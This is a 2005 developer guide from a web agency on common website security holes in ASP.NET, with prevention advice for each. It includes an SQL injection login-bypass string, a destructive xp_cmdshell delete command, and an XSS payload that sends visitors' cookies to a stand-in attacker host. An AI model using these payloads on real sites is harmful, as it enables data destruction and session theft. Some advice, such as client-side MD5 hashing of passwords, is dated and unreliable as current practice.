lucid

Website Security for Developers

Lucid Communications Ltd
Prepared by David Laing <david.laing@lucidcommunications.co.uk>
June 2005

Document History

Version	Author	Comments
v1.0	David Laing	First version
v1.1	David Laing	Minor corrections
v1.2	Neil Turner	Minor corrections and updates

1. Executive Summary

This document highlights the common security holes developers should consider when developing websites. Whilst the examples are based on ASP.NET, the underlying principles are applicable to any website programming language.

2. SQL injection attacks

http://www.webmasterbase.com/article.php/794

When constructing SQL statements from variables passed in from the browser (GET or POST), beware of those variables containing destructive SQL commands.

If you use SQL like this:

```
query = "select userName from users where userName='" & userName & "'
and userPass='" & password & "'"
```

And user passes in
Username: ' or 1=1 ---

Password: [Empty]

The output SQL statement will become:

```
select count(*) from users where userName='' or 1=1 --' and userPass=''
```

What if they pass in DROP <database>, or exec xp_cmdshell 'del c:*.* -Y' / xp_grantlogin stored procedures, or SELECT @@version

2.1. Prevention

- Always use SP and/or parameterized queries - ASP.NET/MSSQL Server
- Escape quotes – PHP, PEAR DB::quoteSmart()
- Validate input variable type (i.e., IsInt, IsDate, etc)
- Limit the length of user input to minimum. Less space, less trouble they can cause.
- Each website gets own DB user, only has select, insert & delete rights; NOT dbowner rights.
- Run SQL Server using a low-privileged account

3. XSS – Cross site scripting

Cross-site Scripting (XSS) attacks enable an attacker to be able to hijack information from visitors of your site by injecting client-side scripting into your Web application. If you don't do some validation on the input, you could potentially allow your site to become a tool for someone who intends to do some malicious activity, like hijacking cookies, or another user's session information.

3.1. Example of an Attack

In a guestbook application, users can register their names, and post comments. The username entered is displayed next to the comment. Imagine someone entered their username as:

```
<script>document.images[0].src='http://www.attackersite.com/somescript.a
spx?value=' + document.cookie</script>John Smith
```

If you outputted this to an asp:label control ala:

```
<asp:Label id="userName" runat="server"></asp:Label>

userName.Text = DBLayer.GetUserName()
```

Then every visitor to the page will send their browser cookies for your site to www.attackersite.com; allowing the attacker to spoof user sessions.

As mentioned, most attackers will hide the query string data as a Hex value in order not to be too obvious to the user. You should filter all input to ensure your site provides a safe experience and secures your user data from being accessed from unwanted parties.

3.2. Prevention

- Always validate input and never output it directly to the browser.
- ASP.NET - add a ValidateRequest attribute to the page or in the web.config. By default ValidateRequest is set to true to ensure secure code. Validation can occur at a page level, for example:

  ```
  <%@ Page ... validateRequest="true" %>
  ```

  Or by default in the web.config:

  ```
  <system.web>
      <pages validateRequest="true" />
  </system.web>
  ```

  With request validation in place, if you were to have the code in the above examples in place, and someone were to enter in script into your app, a similar error to the one below would be displayed.


```
Server Error in '/xssapp' Application.
--------------------------------------------------------------------------------
A potentially dangerous Request.Form value was detected from the client
(searchTerms="<script>"). Description: Request Validation has detected a potentially
dangerous client input value, and processing of the request has been aborted. This value
may indicate an attempt to compromise the security of your application, such as a cross-
site scripting attack. You can disable request validation by setting validateRequest=false
in the Page directive or in the configuration section. However, it is strongly recommended
that your application explicitly check all inputs in this case.

Exception Details: System.Web.HttpRequestValidationException: A potentially dangerous
Request.Form value was detected from the client (searchTerms="<script>").
```

ValidateRequest will check for any kind of script or html characters and throw an error, in some cases you may need to accept input such as HTML and output that to the browser, like in content management systems. In some cases you may need to set the ValidateRequest value to false, but this should only be done at a page level, in order not to reduce the security of your ASP.NET application more than what is needed for your application.

- HTTPUtility.HTMLEncode all user input before outputting to browser.

4. Upload malicious files

When allowing users to upload files, ensure that they can't upload files and then execute them. i.e., upload mailme_the_DB.php

4.1. Prevention

- Store uploaded files outside the webroot, and only allow them to be downloaded via a wrapper file. (This technique has problems because you need to worry about MIME type and setting the downloaded file's default filename)
- Check that the file extension on uploaded is for a non-executable file (at least on your server)

5. Email hijacking & illegal routing

If you have an email form, where the user can specify who the email is being set to, beware of a spammer routing mails through your mail server.

5.1. Prevention

- Don't allow user to specify which email to send to.
- Where this isn't possible (i.e., for refer-a-friend type pages), log emails sent to a database, and check for mass emails from one source (perhaps limit to 10 emails sent per day?)

6. Showing error details to user

If you don't trap server errors, and just allow them to be shown to the user, this can often reveal sensitive information about the server config (i.e., software versions, DB names, path information, etc.)

6.1. Prevention

- <customErrors On>
- Site wide error handlers – email error details to webmaster, and show user friendly "Whoops" page.

7. Indexing source code

If you let a search tool like Verity index your site, and the site contains source code, you may find your source code appearing in the search results.

7.1. Prevention

- Only index pure data files (i.e., data in DB, or data files with a different extension)
- Only process files via the web server (not via the file system)

8. Denial of service attacks

This type of attack occurs when a user maliciously:

- Uploads large files until the server runs out of disk space (note: this is not always malicious. It is perfectly possible to do this unintentionally.)
- Uploads many smaller files simultaneously
- Finds a page that takes a long time to load and hits it repeatedly (i.e., a report generation page)

8.1. Prevention

- Check available disk space before accepting file uploads
- Limit the maximum number of requests (this is more a server setting)
- Set quotas on temporary upload directories.
- Cache heavy pages.

9. Sending Unencrypted user details

- Username and password sent unencrypted when logging in to the admin area. Easy to sniff.
- User details sent unencrypted when registering – easy to gather email addresses.

9.1. Prevention

- SSL for registration details.
- JScript MD5 hash username & password

